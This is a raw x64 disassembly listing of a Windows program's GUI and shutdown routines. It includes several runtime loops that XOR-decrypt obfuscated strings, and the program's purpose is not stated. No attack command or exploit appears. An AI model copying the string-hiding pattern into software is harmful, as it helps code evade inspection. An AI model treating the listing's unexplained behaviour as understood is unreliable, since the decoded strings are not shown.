add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400fe704
call fcn.1402c1be4
mov qword [rbp + 0x1930], rdi
mov qword [rbp + 0x1938], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1920], 0
mov rdx, qword [rbp + 0x1c68]
cmp rdx, 0xf
jbe 0x1400fd75b
inc rdx
mov rcx, qword [rbp + 0x1c50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fd756
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400fe70b
call fcn.1402c1be4
mov qword [rbp + 0x1c60], rdi
mov qword [rbp + 0x1c68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c50], 0
mov rdx, qword [rbp + 0x1c48]
cmp rdx, 0xf
jbe 0x1400fd7bd
inc rdx
mov rcx, qword [rbp + 0x1c30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fd7b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400fe70b
call fcn.1402c1be4
mov qword [rbp + 0x1c40], rdi
mov qword [rbp + 0x1c48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c30], 0
inc r14d
mov rcx, qword [0x1404b8f18]
mov rax, rcx
mov rdx, qword [0x1404b8f10]
sub rax, rdx
sar rax, 6
movsxd rbx, r14d
cmp rbx, rax
jb 0x1400fd4a0
mov rbx, qword [rbp + 0xc0]
mov esi, 1
mov dword [rbp + 0x5f0], 0x41a00000
mov dword [rbp + 0x5f4], 0x42f00000
lea rcx, [rbp + 0x5f0]
call fcn.140044e30
mov rcx, r13
call fcn.140044c30
movaps xmm0, xmmword [0x140327e50]
movups xmmword [rbp + 0xbf0], xmm0
lea rdx, [rbp + 0xbf0]
xor ecx, ecx
call fcn.140040ee0
movsd xmm0, qword [0x140325150]
movsd qword [rbp + 0x7fd], xmm0
mov eax, dword [0x140325158]
mov dword [rbp + 0x805], eax
movzx eax, byte [0x14032515c]
mov byte [rbp + 0x809], al
mov r8d, edi
cmp r15d, 2
jl 0x1400fd98b
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140325150]
xorps xmm2, xmm0
movd dword [rbp + 0x7fd], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x801]
xorps xmm2, xmm1
movd dword [rbp + 0x801], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7fd]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400fd9a0
lea rcx, [rbp + 0x7fd]
call fcn.14006cdd0
mov ecx, esi
call fcn.140040920
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
lea rcx, [rbp + 0x18e0]
cmp qword [rbp + 0x18f8], 0xf
cmova rcx, qword [rbp + 0x18e0]
call fcn.14006cdd0
mov rcx, r12
call fcn.140044c30
mov dword [rbp + 0x5f8], 0x43eb0000
mov dword [rbp + 0x5fc], 0x40a00000
lea rcx, [rbp + 0x5f8]
call fcn.140067250
mov dword [rbp + 0x600], 0x43eb0000
mov dword [rbp + 0x604], 0x42480000
movups xmm0, xmmword [str.pTXP_]
movups xmmword [rbp + 0xc00], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400fdbf0
cmp r15d, 2
jl 0x1400fdbb2
movdqa xmm5, xmmword [0x1402d9220]
mov edx, edi
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xc04]
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400fdab0
jmp 0x1400fdbf0
lea r9, [rbp + 0xc00]
mov r8d, edi
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400fdbc0
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x600]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r14, [0x14049eb5d]
mov r8, r14
xor edx, edx
lea rcx, [rbp + 0xc00]
call fcn.140067500
movaps xmm6, xmmword [0x1402dae40]
movaps xmm7, xmmword [0x1402dad60]
movaps xmm8, xmmword [0x140327e80]
mov dword [rbp + 0x608], 0x43eb0000
mov dword [rbp + 0x60c], 0x42480000
movsd xmm0, qword [0x140325170]
movsd qword [rbp + 0x80a], xmm0
mov eax, dword [0x140325178]
mov dword [rbp + 0x812], eax
movzx eax, byte [0x14032517c]
mov byte [rbp + 0x816], al
mov r8d, edi
cmp r15d, 2
jl 0x1400fdd90
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140325170]
xorps xmm2, xmm0
movd dword [rbp + 0x80a], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x80e]
xorps xmm2, xmm1
movd dword [rbp + 0x80e], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x80a]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400fdda0
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x70], xmm7
movdqa xmmword [rbp - 0x70], xmm8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f278]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f270]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f268]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f260]
xor r8d, r8d
lea rdx, [rbp + 0x608]
lea rcx, [rbp + 0x80a]
call fcn.140070150
test al, al
je 0x1400fdf3a
xorps xmm0, xmm0
movups xmmword [rbp + 0x1940], xmm0
mov qword [rbp + 0x1950], rdi
mov qword [rbp + 0x1958], rdi
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r14 + r8], 0
jne 0x1400fde70
mov rdx, r14
lea rcx, [rbp + 0x1940]
call fcn.1400658e0
lea rdx, [rbp + 0x1940]
lea rcx, [0x1404b8d30]
call fcn.1401a03a0
movaps xmm1, xmm10
mov rcx, r12
call fcn.140040c80
lea r9, [0x1404b8f48]
cmp qword [0x1404b8f60], 0xf
cmova r9, qword [0x1404b8f48]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x10cf0]
call fcn.14008a180
mov rax, qword [0x14049f088]
cmp rax, qword [0x14049f090]
je 0x1400fdf0f
mov r8d, 0x4e30
lea rdx, [rbp + 0x10cf0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14049f088], 0x4e30
jmp 0x1400fdf25
lea r8, [rbp + 0x10cf0]
mov rdx, rax
lea rcx, [0x14049f080]
call fcn.140074740
call fcn.140040740
mov dword [0x14049f064], edi
mov dword [0x14049f070], 0
mov rdx, qword [rbp + 0x18f8]
cmp rdx, 0xf
jbe 0x1400fdf83
inc rdx
mov rcx, qword [rbp + 0x18e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fdf7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400fe712
call fcn.1402c1be4
mov qword [rbp + 0x18f0], rdi
mov qword [rbp + 0x18f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18e0], 0
call fcn.140036530
mov dword [rbp + 0x610], 0x4405c000
mov dword [rbp + 0x614], 0x40a00000
lea rcx, [rbp + 0x610]
call fcn.140044e30
movaps xmm1, xmm10
mov rcx, rbx
call fcn.140040c80
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327eb0]
mov dword [rbp + 0x618], 0x42200000
mov dword [rbp + 0x61c], 0x42200000
movzx eax, word [0x140325180]
mov word [rbp - 0x50], ax
cmp byte [0x140325181], 0
je 0x1400fe00f
mov byte [rbp - 0x50], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp - 0x4f], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9c40]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9c38]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9c30]
xor r8d, r8d
lea rdx, [rbp + 0x618]
lea rcx, [rbp - 0x50]
call fcn.1400706b0
test al, al
je 0x1400fe084
xor r9d, r9d
mov edx, 0x112
mov r8d, 0xf020
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_SendMessageW]
mov dword [rbp + 0x620], 0x44124000
mov dword [rbp + 0x624], 0x40a00000
lea rcx, [rbp + 0x620]
call fcn.140044e30
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327e70]
mov dword [rbp + 0x628], 0x42200000
mov dword [rbp + 0x62c], 0x42200000
movzx eax, word [0x140325184]
mov word [rbp - 0x4e], ax
cmp byte [0x140325185], 0
je 0x1400fe0e6
mov byte [rbp - 0x4e], 0x78
xor byte [rbp - 0x4d], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9c58]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9c50]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9c48]
xor r8d, r8d
lea rdx, [rbp + 0x628]
lea rcx, [rbp - 0x4e]
call fcn.1400706b0
test al, al
jne 0x1400fe719
call fcn.140040740
mov r14, qword [rbp + 0xb8]
jmp 0x1400fe156
mov esi, 1
call fcn.140035d40
mov ecx, esi
call fcn.1400409f0
mov eax, dword [0x14049f064]
movss xmm9, dword [0x1402d3d94]
jmp 0x1400fe17b
xor edi, edi
lea esi, [rdi + 1]
cmp eax, 3
jne 0x1400fe580
movaps xmm1, xmm10
mov rcx, qword [rbp + 0x640]
call fcn.140040c80
movsd xmm0, qword [str._DZYQQW_]
movsd qword [rbp + 0x7bd], xmm0
mov eax, dword [0x140325190]
mov dword [rbp + 0x7c5], eax
cmp byte [0x140325193], 0
je 0x1400fe310
mov r8d, edi
cmp r15d, 2
jl 0x1400fe2d2
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._DZYQQW_]
xorps xmm2, xmm0
movd dword [rbp + 0x7bd], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c1]
xorps xmm2, xmm1
movd dword [rbp + 0x7c1], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7bd]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400fe2e0
movaps xmm1, xmm14
lea rcx, [rbp + 0x7bd]
call fcn.1400716a0
call fcn.140040740
movaps xmm1, xmm10
mov rcx, r13
call fcn.140040c80
movss xmm1, dword [0x1402d3d90]
lea rcx, [0x14049ec5c]
call fcn.1400716a0
call fcn.140040740
mov dword [rbp + 0x630], 0x43910000
mov dword [rbp + 0x634], 0x43340000
lea rcx, [rbp + 0x630]
call fcn.140044e30
movaps xmm0, xmmword [0x1402dae40]
movups xmmword [rbp + 0xc10], xmm0
movsd xmm0, qword [0x140325198]
movsd qword [rbp + 0x6f6], xmm0
movzx eax, word [0x1403251a0]
mov word [rbp + 0x6fe], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400fe3e9
mov byte [rbp + 0x6f6], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x6f7], 0x34
xor byte [rbp + 0x6f8], 0x35
xor byte [rbp + 0x6f9], 0x36
xor byte [rbp + 0x6fa], 0x37
xor byte [rbp + 0x6fb], 0x38
xor byte [rbp + 0x6fc], 0x39
xor byte [rbp + 0x6fd], 0x3a
xor byte [rbp + 0x6fe], 0x3b
xor byte [rbp + 0x6ff], 0x3c
mov dword [rsp + 0x28], 4
movss xmm0, dword [0x140327c60]
movss dword [rsp + 0x20], xmm0
lea r9, [rbp + 0xc10]
movss xmm2, dword [0x1402d3be8]
movaps xmm1, xmm9
lea rcx, [rbp + 0x6f6]
call fcn.140093100
mov dword [rbp + 0x638], 0x43340000
mov dword [rbp + 0x63c], 0x43cd0000
lea rcx, [rbp + 0x638]
call fcn.140044e30
movss xmm0, dword [0x14049f07c]
mulss xmm0, dword [0x1402d3c20]
lea rax, str.:.0f
mov qword [rbp + 0xc20], rax
mov qword [rbp + 0xc28], 6
movss dword [rbp + 0xc38], xmm0
movabs rax, 0x7000000000000000
mov qword [rbp + 0xc30], rax
mov qword [rbp + 0xc40], rsi
lea rax, [rbp + 0xc30]
mov qword [rbp + 0xc48], rax
movaps xmm0, xmmword [rbp + 0xc40]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rbp + 0xc20]
movdqa xmmword [rsp + 0x70], xmm1
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x1960]
call fcn.140088c90
or dword [rbp - 0x3c], 1
movzx eax, word [0x140325458]
mov word [rbp - 0x4c], ax
cmp byte [0x140325459], 0
je 0x1400fe4e9
mov byte [rbp - 0x4c], 0x25
xor byte [rbp - 0x4b], 0x34
lea rax, [rbp - 0x4c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400fe4f4
lea rdx, [rbp - 0x4c]
lea rcx, [rbp + 0x1960]
call fcn.140097690
lea rcx, [rbp + 0x1960]
cmp qword [rbp + 0x1978], 0xf
cmova rcx, qword [rbp + 0x1960]
movaps xmm0, xmmword [0x140327e70]
movaps xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
lea rdx, [0x14049f07c]
call fcn.140070c20
nop
mov r8, qword [rbp + 0x1978]
cmp r8, 0xf
jbe 0x1400fe567
mov rdx, qword [rbp + 0x1960]
lea rcx, [rbp + 0x1960]
call fcn.140094060
mov qword [rbp + 0x1970], rdi
mov qword [rbp + 0x1978], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1960], 0
mov ecx, esi
call fcn.1400409f0
call fcn.14008ea90
movaps xmm1, xmm10
mov rdi, qword [rbp + 0xd8]
mov rcx, rdi
call fcn.140040c80
call fcn.1400909a0
call fcn.140040740
call fcn.140035800
mov rcx, qword [0x1404b8d00]
call fcn.1400906e0
call fcn.140041190
xorps xmm0, xmm0
movups xmmword [rbp + 0xc50], xmm0
mov rcx, qword [0x1404b9020]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1404b9030]
mov edx, esi
call qword [rax + 0x108]
mov rcx, qword [0x1404b9020]
mov rax, qword [rcx]
lea r8, [rbp + 0xc50]
mov rdx, qword [0x1404b9030]
call qword [rax + 0x190]
call fcn.140037f90
mov rcx, rax
call fcn.140061650
mov rcx, qword [0x1404b9028]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, esi
call qword [rax + 0x40]
movss xmm8, dword [0x1402d3c08]
mov ebx, dword [rbp - 0x80]
jmp 0x1400f0919
call fcn.140062290
call fcn.140062890
xor ecx, ecx
call fcn.140035780
mov rcx, qword [0x1404b9030]
test rcx, rcx
je 0x1400fe668
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
xor esi, esi
mov qword [0x1404b9030], rsi
jmp 0x1400fe66a
xor esi, esi
mov rcx, qword [0x1404b9028]
test rcx, rcx
je 0x1400fe687
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1404b9028], rsi
mov rcx, qword [0x1404b9020]
test rcx, rcx
je 0x1400fe6a4
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1404b9020], rsi
mov rcx, qword [0x1404b9018]
test rcx, rcx
je 0x1400fe6c1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1404b9018], rsi
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1cd8]
mov rcx, qword [rbp + 0x1d00]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x1400edd81
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140095a30
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, esi
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
call fcn.14006d8f0
int3
call fcn.14006d930
int3